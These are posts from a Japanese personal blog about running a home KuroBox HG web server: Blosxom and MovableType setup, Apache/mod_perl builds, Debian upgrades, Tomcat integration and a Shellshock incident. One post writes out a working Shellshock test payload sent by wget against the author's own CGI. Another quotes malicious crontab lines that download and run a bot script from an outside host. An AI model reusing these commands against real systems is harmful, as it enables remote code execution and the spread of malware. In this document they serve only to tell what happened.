…と考えて作業を始めると、1つのMovableType環境で複数のURL向けに静的なHTMLを出力するのは容易でないことがわかった。MovableTypeの設定ファイルを2つ用意して手で切り替えるか、データベース内に全データを丸ごと2つ持たないといけないのだ。あまりにもすっきりしないし、不便である。

そこで、プロバイダーのWebサーバー側にブログシステムを構築することを考えた。
世の中にはMovableType以外にNucleus、tDiary、華式、blosxom等様々なブログツールや日記ツールがあるが、私が使用しているプロバイダーであるHi-HoのレンタルWebサーバーは持ち込みのプログラムを動かす制約が厳しく、ほとんど素のPerlのCGIしか動かせない。従って、多数のPerlモジュールを必要とするMovableTypeも、PHPで動く華式も、SQLデータベースを必要とするNucleusも動かない。
そんな中、blosxomは動いた。

実はこのblogを始める以前に、Kyo Nagashimaさんのblosxom starter kit(以下bsk)を使ってHi-Ho上でblosxomを動かして、少しだけblogしていた。そのbskをインストールした4年前、Hi-Hoのサーバー上で動かせたフリーウェアのブログ/日記ツールはblosxomだけだったが、現在やはり動かせるのはblosxomだけのようである。

Blosxomの公式サイトのページは更新が止まっており、そのサイトにあるblosxom本体も5年前からバージョンアップされていない。ユーザーも減っているようで、ユーザー自身が「なぜ今更blosxomを使っているかというと…」と自嘲気味に言い訳しているのを見かける。ユーザーがいなければノウハウを公開する人もいない。もうblosxomを使うのは厳しいか…と思いかけた所で、"The Unofficial Blosxom User Group"というサイトを見つけた。どうやら今年に入っても有志によってバージョンアップされ、プラグインも追加されていってるようだ。
そして、日本でもInfoseekの無料Webレンタルサーバーでblosxomしている人がいた。InfoseekでもHi-Hoでも動くのなら、レンタルウェブサーバー間のポータビリティは十分期待できる。一旦システムを構築したら、無料のレンタルサービスででもその環境を入れれば全く同じブログを使い続けられるのだ。エコロジーだ。

ひと安心してblosxomをバージョンアップしようとすると、以前にインストールしたblosxomが動かなくなっていた。Perlスクリプトの途中でエラーになってたようで、サーバーのPerlの仕様が変わったのか?とげんなりしたが、仕方なく解析すると、spamを受けまくってwriteback(コメント、トラックバック)ファイルが巨大になってたのが原因だと判明した。インストールしていたのはbsk 1.02そのままの環境で、当時spamは全く無かったので、spam対策はしていなかった。しかも、パスワードを設定していたはずなのだが、有効にしていたwikiedish(ブラウザ上でエントリーを編集するためのプラグイン)を使って、全てのエントリーがspamによって書き換えられていた。
辛うじてbsk 1.02を初期状態に戻して動かすことはできたが、blosxom本体だけをバージョンアップする方法と、spam対策されたWritebackPlusを組み込む方法がわからなかったので、bskを参考にして1からblosxom環境を構築することにした。

続きを読む "Blosxom環境構築(1/2)" »

2008年10月26日

Blosxom環境構築(2/2)

今回このblogのBlosxom版を構築するために行ったことをまとめる。

●Blosxom本体
SourceForge.netのBlosxom projectから最新版を入手した。
なお、同ページは"The Unofficial Blosxom User Group"では"SF.net Project"と書かれてリンクされている。

●プラグイン
Blosxomは本体が小規模に作られているので、欲しい機能のプラグインを入れる所から始まる。
今回はblosxom starter kit(bsk)とBlosxom Plugin Registryを参考にプラグインを選び、"The Unofficial Blosxom User Group"のV2 Plugin Registoryから最新版を取得していった。
以下、インストールしたプラグイン名と、インストールに伴って改造した点を記す。
・archives
月毎のアーカイブページと、それらへの階層状のリンクを生成する。
特に改造無し。
・back_and_forth
個別エントリーのページから、更新日付が1つ前のページ、1つ後のページへのリンクを生成するプラグイン。
bskの"«前 | Main | 後»"という並びが気に入ったので、bskのを使わせてもらった。(V2 Plugin RegistoryのはMainの部分が出せない)
・categories
カテゴリー毎のアーカイブページと、それらへの階層状のリンクを生成するプラグイン。
ディレクトリ名と表示文字列の対応($friendly_name)を埋めたのと、'all entries'を'全てのエントリー'に書き換えたのみ。
※report_dir_start呼び出しがコメントアウトされてるバージョンだと、'all entries'を表示するにはコメントアウトを解除する必要あり。
・entries_index
エントリーの作成日時を保存する。これが無いとエントリーの作成日時がエントリーファイルの更新日時になるので、FTPでwebサーバーにアップロードするとファイルの日時がアップロード時刻になり、エントリーの作成日時が失われてしまう。
特に改造無し。(インデックスファイルは別途作成して一緒にアップロードした)
・entry_title
個別エントリーページのタイトル(<TITLE>タグの中身)をそのエントリーのタイトルにする。
"ブログ名 セパレータ タイトル"という並びが気に入ったので、Kyo Nagashimaさんのバージョンを使用。特に改造無し。
・find
ブログ内をテキスト検索して、マッチするエントリーだけを出力するプラグイン。
特に改造無し。
・geek
(出力例)。いらないけど消すには惜しいので残しておく。
・seemore
複数エントリーが表示されるページで、各エントリーを丸ごと表示するのでなく、部分的に表示して、残りの部分へのリンクを付けるようにする。
"See more ...."を「続きを読む」に変えかけたが、"See more ...."が格好よくて気に入ったので、改造無し。
・titles_index
複数エントリーが表示されるページで、各エントリーをタイトルのみで表示するようにする。
seemoreで表示するトップページ以外では表示エントリー数の制限を緩和するため、blosxom本体のgenerate{}の"# Stories"の所の

my $ne = $num_entries;
my $ne = $currentdir ? 100 : $num_entries;
に変更。
・writeback
後述。

●Writebackスパム対策
Blosxom公式サイトのWritebackプラグインを使うと、スパムの餌食になる。対策として、以下の5つのプラグインを見つけた。
(1) WritebackPlus
(2) Feedback
(3) spam_blocker
(4) hail2u.netのWriteback
(5) Writeback with Akismet
まずデファクトスタンダードと思われる(1)のWritebackPlusを試そうとしたが、その中で使われているMT-blacklistが既に配布されておらず(MovableType 3.2で他の方法が使われるようになったため)、スパム対策にならなかった。
ネット上で流し読みする限り(2)はマイナーで、(3)と(5)は導入が面倒くさそうで、(4)の方法で十分効果がありそうなので、今回はWritebackPlusに(4)の方法を適用することにした。
WritebackPlusの改造結果
(WritebackPlusはVersion 0.2.1aを使用)
改造点(コメントで"Y.Nomura"とある部分)
・250行目付近の$pathを修正
・257行目付近、(4)のWritebackの100~131行目をコピー
・305行目付近、blacklist無しでも動くようにコメントアウト
・375行目付近、Net::SMTP無しでも動くようにコメントアウト(Hi-Hoのサーバーに無かったため)

●MovableTypeのエントリーのインポート
MovableTypeの管理ページの「エントリーの書き出し」を使って全エントリーを1つのテキストファイルに出力し、Perlスクリプトをガリガリ書いてBlosxom用のファイルに変換した。

●Hi-Ho依存の設定
参考までに、Hi-HoのレンタルWebサーバーでBlosxomを動かすために設定した、blosxom.cgi内の設定項目の一部を挙げておく。(一部伏字)
$dataurlは、テンプレートHTML(フレーバー)内からの他ファイル(スタイルシートや画像)参照で必要になる絶対パス。フレーバー内の相対パスは特殊なCGIディレクトリからの相対パスになり、データディレクトリに辿り着けない。

# Where are this blog's entries kept?
$basedir = "$ENV{'HOME'}/html/*************";
$datadir = "$basedir/entries";

# What's my preferred base URL for this blog (leave blank for automatic)?
$url = "http://www.sam.hi-ho.ne.jp/cgi-bin/user/ynomura/blosxom.cgi";
$dataurl = "http://www.sam.hi-ho.ne.jp/~ynomura/blosxom";

# Where are my plugins kept?
$plugin_dir = "$basedir/plugins";


続きを読む "Blosxom環境構築(2/2)" »

2009年03月04日

Apache1.3+mod_perlのコンパイル

偶然にも、mod_perlという名前を久々にここに書いた日の夜に、このサーバーのmod_perlが動かなくなった。いつも通りに、Debianのaptitudeを使って"Upgradable"なパッケージを全てアップグレードしたら、mod_perlが消えてしまったのである。
先月半ばにDebianの5.0がリリースされ、Apache 1.3がサポート対象外になったのと関係しているものと思われるが、Apache 1.3自体は"Obsoleted package"に分類されながらも残っていたのに、なぜmod_perlだけ消えてしまったのだろう。Perlがバージョンアップされたからだろうか。アップグレードに伴い、依存関係の解消のために消されるパッケージとして表示されていたのだろうが、今回は"Upgradable"が多量だったのでろくに見なかったのが失敗だった。

仕方なく、面倒だがこの際Apache2+mod_perl2に移行するかと思って、mod_perl2をインストールして動かしてみると、mod_perlで動かしたいMovableTypeがmod_perl 1.xにしか対応していないことがわかった。

何としてもmod_perl 1.xをインストールしようと思って、Debianのapache1.3+mod_perlのパッケージを拾ってインストールしようとすると、それがおびただしい数のパッケージに依存していることがわかった。ついでに、依存関係にあるパッケージを1つ1つインストールすると、次々にそれらが"Obsoleted packages"に入れられてしまい、完全にやる気をそがれた。

という訳で、Apache 1.3とmod_perlのソースコードをコンパイルするしか無くなった。
このサーバーではDebianのaptitude頼りでほとんどオープンソースのコンパイルというものをしなかったので、簡単にコンパイルできるとは思っていなかったが、予想に反してあまりにも簡単にコンパイルできた。
感動したので、その手順を記録する。


1. 適当な所から以下の2つのソースを取得、展開
apache_1.3.41.tar.gz
mod_perl-1.0-current.tar.gz

2. mod_perl-1.XXディレクトリに移動して、以下を実行

perl Makefile.PL APACHE_SRC=../apache_1.3.41/src DO_HTTPD=1 USE_APACI=1 EVERYTHING=1 ADD_MODULE=proxy
make
make install
cd ../apache_1.3.41/
make install

3. Apache::Request, Apache::Cookieをインストール

perl -MCPAN -e shell
> install Apache::Request


以上である。
Apache::Cookieは、Apache::Requestをインストールすると自動的にインストールされる。
mod_perlをmakeすると、自動的にapacheもコンパイルされる。

Makefile.PLのオプションは、mod_perlのページの例を参考にした。例の通りではmod_proxyが有効にならなかったので、ADD_MODULE=proxyを追加した。

続きを読む "Apache1.3+mod_perlのコンパイル" »

2009年04月05日

mod_proxy+mod_perl+MySQLでProxy Error

2月末にDebianのaptitudeが言うまま全パッケージを更新して、Debian 5.xでサポート対象外となったApache 1.3+mod_perlを手作業でインストールした後、mod_perlで動かしているMovableTypeにmod_proxy経由でアクセスすると、時々

502 Proxy Error
Reason: Document contains no data

というエラーが発生するようになった。

しばらく放置した後に起こることから、mod_perl+MySQLでよく問題になる、時間が経つとMySQLへのコネクションが無効になってしまうために起こる、いわゆる"The morning bug"絡みだろうということはすぐに想像がついて、実際MySQLを再起動すると必ず起こったので、それだと確信した。
しかし、通常はmod_perlがDBD::mysqlを介してMySQLに接続すると、"auto_reconnect"の設定が自動的に有効になるので、この問題は起こらないはずである。
(参考:man DBD::mysqlの"mysql_auto_reconnect"の項)

if either the GATEWAY_INTERFACE or MOD_PERL envionment variable is set, DBD::mysql will turn mysql_auto_reconnect on

実際、DBD/mysql.pmでログ出力してみると、mysql_auto_reconnectの値は1になっていた。しかし、mysql.pmの先は.so形式のバイナリなので、実際に再接続が試されているかは調べられなかった。

ここで、"Proxy Error"は、たまたまこの環境で結果としてそうなるだけで、同じ問題に遭遇した人が皆それに行き当たる訳ではないことは落ち着いて考えると明白だったのだが、"mysql proxy error"で検索して情報を探したため、長期に渡って悩むことになってしまった。
それでも、mod_perl+MovableTypeの組み合わせにApache::DBIを加えてコネクション・プーリングすると何かが解決した、という情報を得て、これだ!と思ってApache::DBIをインストールして組み込んでみたが、解決しなかった。

Apache::DBIのドキュメントを読むと、DBDによってはtimeout時にpingメソッドがエラーを返すので、そういう時は自前のpingメソッドを書くと問題を回避できる、と書いてあった。

Most DBI drivers have a working ping() method, but if the driver you're using doesn't have one and the database handle is no longer valid, you will get an error when accessing the database. As a work-around you can try to add your own ping() method using any database command which is cheap and safe

これだ!と思ってDBD/mysql.pmにpingメソッドを加えてみたが、そもそもpingは呼ばれていなかった。

落ち着いてApacheのエラーログをよく見ると、

[notice] child pid 7987 exit signal Segmentation fault (11)

というのが出ていた。すぐさま、そういう時はPHPをコンパイルし直せという情報を見つけて、これだ!と思って作り直すべきPHPを探すと、どこにもインストールされていなかった。

その後の調べで、DBD::mysqlのv4.007で生じたバグであり、v4.006に戻すかv4.009以降に更新すると直るらしいことがわかった。

仕方なく、CPANを使ってDBD::mysqlをコンパイルしようとすると、mysql_configが無い、というエラーが出た。Debian 5.xではmysql_configはlibmysqlclient15-devというパッケージをインストールしないと使えないらしい。これはわかりづらい。

結局、CPANでDBD::mysqlのv4.010をインストールすることによって、うちの"Proxy Error"は解消した。

続きを読む "mod_proxy+mod_perl+MySQLでProxy Error" »

2010年04月11日

玄箱HGのDebianが起動しなくなった

このwebサーバーは、玄箱HGという小型の機械で動いている。モニターもキーボードも接続できない、単なるハードディスクをネットワークに接続するための機械である(一応)。その機械がネットワーク経由でアクセスできない状態になると、機械表面に付いている4つのLEDでしか状態を知る術が無くなる。
先週、その玄箱HGが全く応答しない状態に陥り、電源を抜いて再起動すると、赤色LEDが6回点滅して起動しなくなった。玄箱の説明書によると、赤点滅6回はハードディスク異常を意味するらしい。

この玄箱HGで動かしているOSはDebian Linuxである。2年前にインストールした後、起動しないというトラブルはこれまで一度も無かった。先週まで順調に動いていたものだし、OSが壊れたとは考えにくい。HDD自体が壊れたのだろう。
…と考えて、HDDを取り出して別のPCに接続して、Linuxを動かしてmountを試みると、何の異常もなくmountできて、fsckも無事に終わってしまった。しかし、そのfsckが済んだHDDを再度玄箱に接続しても、やはり赤点滅6回であった。
では玄箱が壊れたのか?と思って別のHDDを接続すると、エラーになること無く、EMモード(FROM内蔵のOS)だが正常に起動した。さらに、玄箱用のHDDのバックアップを取ってフォーマットして以前の手順でDebian(sarge)をインストールすると、問題無く起動した。
正常に起動するsargeのバックアップをddで取ってHDDをフォーマットしてddでリストアしてもsargeが正常に起動することを確認して、ddで元のシステム(lenny)をリストアしても、やはり起動しなかった。どうやらDebianが起動不能になってしまったらしい。

起動しなくなった原因のヒントを求めてネットサーフィンしまくった結果、初期の玄箱のファームウェアは2.6系であるLenny(Debian 5.0)のカーネルを起動できないのが原因であることが判明した。
この玄箱のDebianはインストール時には3.0(sarge)で、aptitudeで更新したら自動的にetch(4.0)になり、aptの設定ファイル(/etc/apt/sources.list)がDebianのstableなバージョンを参照する設定だったので、そのままaptitudeを使い続けたら、去年の3月に自動的に5.0(lenny)になってしまったのである。

という訳で、www.revulo.comの手順を参考にして、Lennyの起動に関連する部分だけ再構築することにより、思ったより楽に復旧できたので、その手順を記録する。

●旧Lennyシステムのバックアップ
 HDDを接続したLinuxを起動して、先頭のパーティションのディスクイメージを作成する。
 dd if=/dev/hdb1 of=/tmp/kuro-debian.img
 (HDDが/dev/hdbとして認識されている場合)

●MontaVistaのインストール
HDDの最初のパーティションにある2.6系のLinux kernelを起動するには、"U-Boot"というものを使う方法があるらしいが、FROMを書き換える必要があり、失敗すると玄箱が使用不能になるリスクがある。それに代えて、HDDの最初のパーティションに2.4系のカーネルを置いて、別のパーティションにある2.6系のカーネルを起動するという方法がある。www.revulo.comにあるのは、後者の安全な方法である。
そこで、まず先頭のパーティションにMontaVistaを再インストールする。

1. 玄箱をEMモードで起動
 先頭のパーティションを削除して玄箱を起動するとEMモードになる。
2. telnetで入る
 IPアドレスは玄箱のファームウェアダウンロードツール(付属CDとか玄人指向のサイトとかにある)の中のKuroBoxSetup.exeを起動するとわかる。
 出荷状態ではrootのパスワードはkuroadminである。
3. パーティション作成
 mfdisk -c /dev/hda とすると、懐かしいfdiskのUIが出て来る。
 dで全てのパーティションを削除した後、nでプライマリパーティションを
  hda1: 256M(MontaVista用)
  hda2: 256M(swap用)
  hda3: 4G(Lenny用)
  hda4: 残り
 と作り、tでhda2のタイプを82にしてwでHDDに書き込む。
4. ファイルシステム作成
 mkswap /dev/hda2
 mke2fs -j /dev/hda1
 mke2fs -j /dev/hda3
 mke2fs -j /dev/hda4
5. hda1をmountする
 mount -t ext3 /dev/hda1 /mnt
6. MontaVista一式の圧縮ファイルを転送
 玄箱のファームウェアの中のimage.zipの中にあるtmpimage.tgzを/mnt/にFTPで転送する。
7. MontaVistaを展開
 cd /mnt
 tar xvfz tmpimage.tgz
8. EMモード終了
 echo -n "OKOK" > /dev/fl3
 reboot

●Lennyのインストール
1. インストーラー一式を転送
 www.revulo.comにある以下のファイルを/tmpに転送する。(hda1が256MでMontaVistaをインストールした直後なら全て/tmpに入る)
 debian-lenny-installer-kuroBOX-20090317.tgz
 debian-lenny-kuroBOX-20090317.tgz
 kuro-bootsel2-debian.tgz
 kuro-bootsel2.20080419.tar.gz
 loader.o
 kernelimage-2.6.25.1-kuroHG.tgz
 modules-2.6.25.1-kuroHG.tgz
2. インストーラー実行
 cd /tmp
 tar xvfz debian-lenny-installer-kuroBOX-20090317.tgz
 sh debian-lenny-installer-kuroHG.sh
3. 電源長押しで再起動
 Lennyが起動していることを確認する。

●旧システムのリストア
1. バックアップを転送
 FTPなりsambaなりで/mntに転送する。FTPでもsambaでも、何らかの設定が必要である。
 別のパソコンにHDDを繋いで4番目のパーティションにコピーしても良い。
 今回はaptitudeを使ってsambaをインストールし、このためだけの設定を行った。
2. ディスクイメージをマウント
 mkdir /mnt/hda1-org
 mount -o loop /mnt/kuro-debian.img /mnt/hda1-org
3. ディスクイメージを展開
 cd /mnt/hda1-org
 tar cf - (dev, proc以外の全て) | (cd /; tar xvf -)
 例: tar cf - bin boot etc home lib opt root sbin selinux sys usr var | (cd /; tar xvf -)
4. 電源長押しでシャットダウン
5. 電源を抜いて差して再起動

続きを読む "玄箱HGのDebianが起動しなくなった" »

2010年05月05日

(FreeBSD 7.3) ApacheとTomcatを手早く連携させる

先月この玄箱のwebサーバーが起動しなくなって、復旧に時間がかかると思ったので、PC上の仮想マシンにFreeBSD 7.3をインストールして、代替のwebサーバーを構築し始めた。
幸いにして玄箱がすぐに復旧したので、FreeBSDは中途半端な状態で放ったらかしたが、せっかくなので、予備のサーバーとして最後まで構築することにした。

今回のは、動けばいいだけの環境なので、手間がかからないよう、可能な限りportsを使わず、packagesで統一することに決めた。portsを使い出すと、依存するライブラリのバージョンがpackagesと合わなくなって、以後何もかもportsでインストールしないといけなくなる恐れがあるからである。

このサーバーの代替をするには、HTTPサーバーの機能とJava servletを動かす機能が必要である。そう決めた。TomcatはHTTPサーバーの機能も持つので、全てTomcatに任せるという手もあるのだが、TomcatはJavaで動いており、決して軽くない。当然、通常のHTTPリクエストはApacheで処理し、TomcatはJava servletやJSPを動かすのみとしたい。

ApacheとTomcatがそれぞれ別々のポート(80と8080とか)でリクエストを待つと、外部に2つのポートを公開しないといけないことになるし、アクセスURLにポート番号を含めることが必要になり、美しくないことになる。当然、Apacheが一旦全てのHTTPリクエストを受けて、必要なもののみTomcatに転送するようにしたい。

それは、Apacheのmod_proxyを使えば実現できる。このwebサーバーでもそうやっている。
FreeBSD 7.3のインストーラー(sysinstall)のパッケージ一覧でmod_proxyを検索すると、"mod_proxy_html"と"mod_proxy_xml"が見つかるが、どちらをインストールしてもmod_proxyはインストールされない。mod_proxyはApacheの本体と共に配布されているので、mod_proxyという名前のpackageが無ければ、どこかに含まれているとすればApache本体であるが、packagesのどのApacheをインストールしてもmod_proxyは入らない。従って、mod_proxyを使うにはそのようにオプションを設定してapacheをコンパイルするしか無いようである。セキュリティホールになり得るmod_proxyが不必要に有効にならないようにという配慮であろうか。

mod_proxyを使う以外に方法はあるのだろうか。Apacheから一部のリクエストをTomcatに転送する方法としては、次の3つの方法が一般的らしい。(参考:http://dev.ariel-networks.com/Members/inoue/tomcat-apache
・mod_proxy_http
・mod_proxy_ajp
・mod_jk
上の2つはFreeBSD7.3のpackagesには無いが、mod_jkはある。従って、mod_jkしか選択肢が無い。mod_jkも無ければApacheをコンパイルするしか無いと諦めがついたのだが、あるから仕方がない。mod_proxyが無いと、mod_perlを使うhttpdを別に動かして連携することができないが、仕方がない。packagesにmod_jkがあるので、この代替サーバーでのmod_perlの使用は諦める。

結局、以下の手順で、FreeBSD 7.3のpackagesだけでApache+Tomcatの連携ができるようになった。
1. packagesの一覧からmod_jk-ap2-1.2.30_1を選択してインストールする。
 apacheが入ってなければ、それも自動的にインストールされる。
2. Tomcatはpackagesに4.xも5.5も6.0もあるが、どれでも良いので、インストール動くようにしておく。
3. /usr/local/etc/apache2/のworkers.properties.sampleをコピーしてworkers.propertiesという名前にし、以下の行を書き換える。

worker.list=localhost
worker.jsp-hostname.port=8180
worker.jsp-hostname.host=localhost

4. 同ディレクトリのmod_jk.conf.sampleをIncludes/mod_jk.confとしてコピーし、JkWorkersFileの%%APACHEETCDIR%%の所とJkMountの行を書き換える。
JkWorkersFile /usr/local/etc/apache2/workers.properties
JkMount /*.jsp localhost
JkMount /servlet/* localhost
(以下略)

このようにしてApacheを再起動すると、httpdが受けたhttp://(hostname)/*.jspや
http://(hostname)/servlet/*にマッチするURLのリクエストがTomcatに転送されるようになった。

続きを読む "(FreeBSD 7.3) ApacheとTomcatを手早く連携させる" »

2013年12月01日

玄箱HGにwheezyを諦めてsqueezeをインストール

夏くらいから、このブログに大量のスパムコメントが届くようになった。その数、1日に800件以上。MovableTypeのSpamLookupプラグインによるフィルターをすり抜けるコメントが200件を越え、日々大量のコメントを手作業で削除するのが阿呆らしくなってきた。

まず、MovableType 3.xのサポートが終了したので、SpamLookupのブラックリストもメンテナンスされなくなったのではないかと思った。(その真偽の程は未確認である。)
そこで、先日、MovableTypeをバージョンアップしようと思った。
しかし、最新のMovableType 5.xや6.0は多機能で、システム要件が3.xと変わっており、インストールに時間を割く羽目になる予感がした。

このサーバーは玄箱HG + Debianである。ふと、aptitudeでmovabletypeを検索してみると、あった。MovableTypeのバージョンは4.xとなっていた。
暫くaptのデータベースを更新していなかったので、更新すればバージョン5.xもaptitudeでインストールできるのではないかと思ったが、何故か、更新の操作をしても全く更新されなかった。しばらくして今頃気付いたのだが、Lennyの更新は昨年3月頃に終了していたようだ。

最新のDebianのバージョンは7(wheezy)だそうだ。/etc/apt/sources.listを書き換えてwheezyのパッケージリストを取得してみると、movabletypeのバージョンは5.xだった。何故か、まだ更新されているDebian 6(squeeze)だと、最新のmovabletypeは4.xである。これはwheezyにアップグレードするしか無い、と思った。

Lennyをインストールした(というかされてしまった)時は起動に苦労する羽目になったが、それで玄箱HGが起動する2.4系のカーネルのLinuxから2.6系のカーネルを起動する2段ブート環境になったし、Linuxのカーネルは2.6系になったし、もうDebianをアップグレードしても大きなトラブルになることはなかろう、と思って、/etc/apt/sources.listのlennyをsqueezeに書き換えて、aptitudeでデータベース更新→自動的にマークされたパッケージをインストール、とすると、途中でいくつか理解できなかった警告があったものの、何とか更新が完了し、再起動もできた。

その勢いで、/etc/apt/sources.listのsqueezeをwheezyに書き換えて、同じようにaptitudeで更新インストールすると、途中で"FATAL: kernel too old"というエラーが出て、回復困難な状態になってしまった。

アンインストールしようがないlibc6のインストールが途中で失敗しており、その後はaptitudeやapt-getで何をやろうとしても、

Setting up libgcc1 (1:4.6.1-1) ...
FATAL: kernel too old
Segmentation fault
The following packages have unmet dependencies:
libc-dev-bin : Depends: libc6 (> 2.13) but 2.11.x is installed
libc6 : Depends: libc-bin (= 2.11.x) but 2.13.x is installed
libc6-dev : Depends: libc6 (= 2.13-x) but 2.11.x is installed
となった。中断したインストールを強制実行する
apt-get -f install
でも結果は同じで、libc-dev-binやlibc6-devを個別にインストールしようとしても先にこのエラーに阻まれ、apt-getにlibgcc1やlibc6のインストールを保留させる方法も分からなかった。

既に再起動もできない状態だと思った(バックアップの準備をして、すぐ玄箱をEMモードに切り替えて電源を落とした)ので、仕方なく、Debianを再インストールすることにした。

試しに、不要なHDDを玄箱に繋いで、同じようにlenny->squeezeとアップグレードして、
/etc/apt/sources.listにてwheezyのディレクトリーを指定して、

apt-get update
apt-get upgrade
(最小アップグレード手順)としても、同じ状態になった。玄箱へのDebianのインストールに使用しているLinux kernelのバージョンが2.6.25なのに対し、wheezyのインストールには2.6.26以降のkernelが必要であることが原因のようだ。
そう思って、squeezeの状態でaptitudeでlinux-image-2.6.32-5-powerpc等をインストールしてみても、2段ブートの1段目から起動されるカーネルが置き換わる訳ではないので、無効であった。
玄箱や玄箱HGにwheezyをインストールした人も居るので、1段目から起動するカーネルかU-Bootのカーネルを更新さえすればできそうではあるが、そこまでするよりは手作業でMovableTypeをインストールする方が楽だと思ったのと、squeezeのサポートが終了する頃にはそろそろ玄箱HGよりも省電力な小型Webサーバーに買い換えたくなるような気がするので、wheezyのインストールは諦めた。

そこで、とりあえずsqueezeをきちんとインストールしておくことにした。

■手順
1. 玄箱HGにLennyをインストールする
2. /etc/init.d/kuroevtd の2行目辺りに以下のコメント行を追加
(squeezeのdependency based boot sequencingに対応する為、/etc/init.d/*や/etc/rc?.d/*はLSBInitScripts形式にする必要がある)

### BEGIN INIT INFO
# Provides: kuroevtd
# Required-Start: $network $remote_fs $syslog
# Required-Stop: $network $remote_fs $syslog
# Default-Start: 2 4 5
# Default-Stop: 0 1 3 6
# Short-Description: Start/stop the KURO-BOX Event daemon
### END INIT INFO

3. /etc/init.d/kuro_boot の2行目に以下のコメント行を追加

### BEGIN INIT INFO
# Provides: kuro_boot
# Required-Start: $remote_fs $all
# Required-Stop:
# Default-Start: 2 4 5
# Default-Stop: 0 1 3 6
# Short-Description: Initialize the KUROBOX AVAR
### END INIT INFO

4. /etc/apt/sources.list の"lenny"を"squeeze"に変更
 なお、日本国内なら http://ftp.jp.debian.org/debian の行だけにしてもOK
5.
apt-get update
を実行、しばらくするとGPGのエラーになるので、続いて
apt-get install debian-keyring debian-archive-keyring
を実行(エラーになればもう1度実行)
6.
apt-get dist-upgrade
を実行

続きを読む "玄箱HGにwheezyを諦めてsqueezeをインストール" »

2013年12月07日

Debian SqueezeにTomcat+MySQL環境構築

玄箱にDebianをクリーン再インストールしたので、Tomcatの動作環境も復旧することにした。結局、このサーバーでもPerlのCGIがメインで、JavaのservletやJSPはあまり作っていないのだが、筆者にはJavaへのこだわりがあり、まだ諦め切れないのである。

サーブレットの動作環境としては、引き続き、Tomcatを選択する。また、MySQLを使うservletがあるので、その為のJDBCが必要である。
以下、MySQLはセットアップ済だとする。

■手順
1. aptitudeでtomcat6とlibmysql-javaをインストール
2. HTTPの待ち受けポートを変えるなら、/etc/tomcat6/server.xmlを適当に編集する。
3. /etc/init.d/tomcat6 restart としてTomcatを再起動する
4. Webブラウザーからアクセスし、"It works !"の画面が出ることと、CATALINA_HOME とCATALINA_BASEを確認する
5. $(CATALINA_HOME)/sharedまたは $(CATALINA_BASE)/sharedディレクトリーに、
 /usr/share/java/mysql-connector-java.jarへのシンボリックリンクを作成する
 例:

ln -s /usr/share/java/mysql-connector-java.jar /usr/share/tomcat6/shared/

6. $(CATALINA_BASE)/webappsにservletを置いて、Tomcatを再起動する

続きを読む "Debian SqueezeにTomcat+MySQL環境構築" »

2014年10月11日

Shellshockの恐怖

2014/9/24に見つかったとされるbashの欠陥、いわゆるShellshockの話は目にしていたのだが、玄箱HG+Debianで運用中のこのサーバーには関係ないと思っていた。そもそも、Debianのshはbashでなくdashである。

今週、
記者の眼 - 記者は「ShellShock」に触れてみた、そして震え上がった:ITpro
という記事を読んだ。CGIを呼び出せると任意のコマンドが実行できてしまうという。
ふむふむ、なるほど、これは致命的な大穴だ。

試しに、このサーバーに対してもやってみた。上記の記事ではcurlを使っているが、wgetで次のようにしてみた。

wget -U "() { :;}; echo Content-type:text/plain;echo; /bin/uname -a" http://localhost/cgi-bin/test.cgi
・・・!!!
uname -aの結果が返ってきた。
何かの間違いではないか、と祈りつつ、unameをfind /にしてみると、このファイルシステムの全て表示されてしまった。

真っ青になった。

それでやっと思い出した。このサーバーをLennyにupgradeした時に/bin/shがdashになったのだが、それで何かが動かなくなったので、勝手に/bin/shをbashに戻してしまったのである。

とりあえずapacheを止めて、bashをupdateしようとして、apt-get updateしたが、bashが更新されなかった。
このDebianはSqueezeであり、サポートが終了してしまっているのである。
しかし、Squeeze LTS(Long Term Support)というものの存在を見つけたので、このページを参考にして、/etc/apt/sources.listに

deb http://http.debian.net/debian squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian squeeze-lts main contrib non-free
を加えて
apt-get update
apt-get install -t squeeze-lts --only-upgrade bash
しようとした。
しかし、apt-get updateがエラーになってしまった。
squeeze LTSのページを見ると、powerpcはサポートされていなかった。i386やand64でなければwheezyにupgradeすることが推奨される、と書いてある。

このサーバーは、過去にwheezyへのupgradeに頓挫しており、非常に面倒で時間を要することがわかっているのである。
今回の件でセキュリティアップデートの必要性を思い知ったので、wheezy化は近い内に必ず行う決心をしたが、とりあえず、/bin/shをdashに戻して、bashはソースコードと最新のパッチを使ってmakeしたものに置き換えた。

続きを読む "Shellshockの恐怖" »

2014年10月26日

玄箱HGをwheezyにアップグレード

先日、このサーバーにもShellshockの問題が見つかってbashを作り直したと書いたが、その2日後、サーバーに接続しづらくなっていることに気付いて、見てみるとマルウェアが走っていた。
apacheを動作させるアカウントで、このサーバーにはpnscanをインストールしていない(そんな名前の実行ファイルも存在しない)にもかかわらず、pnscanというポートスキャンのプログラムが走っており、これが接続しにくくしていたようだ。
また、netstatで見ると、知らないIPアドレスのSMTPポートに接続しっ放しになっていた。

そのアカウントのcrontabを見ると、

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/c installed on Sun Oct 12 12:55:19 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh
@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh; >/dev/null 2>&1

となっていたので、10/5か10/12に突っ込まれ、10/12に発動したようだ。10/5にはまだこのサーバーにShellshockの問題が存在していたので、そこを突かれたか、pnscanはPOST -dでクラックされるPHPの脆弱性で突っ込まれる事例が多かったようであり、このサーバーではそれも放置していた(php-cgiはインストールしていないので大丈夫と思っていた)ので、そこを突かれたのかも知れない。

ともかく、どこに問題があったのかがわからないので、squeezeの使用を諦めて、wheezyにアップグレードすることにした。

以前にwheezyへのアップグレードに失敗してDebianが再起不能になったので敬遠していたのだが、カーネルを2.6.26以降にさえすれば成功することはわかっていたのである。今回、玄箱HG用のカーネルのコンパイルと起動方法を手取り足取り教えてくださる、unbelievablyに有難いWebページを見つけたので、カーネルの更新に成功し、それによってwheezyへのアップグレードにも成功した。

●squeezeからwheezyへのupgrade手順
・カーネルを2.6.26以降にする
 筆者が実施した手順は後述
・squeezeで最新状態にする
apt-get update
apt-get dist-upgrade
dpkg --audit #エラー状態の表示
・wheezyにupgradeする
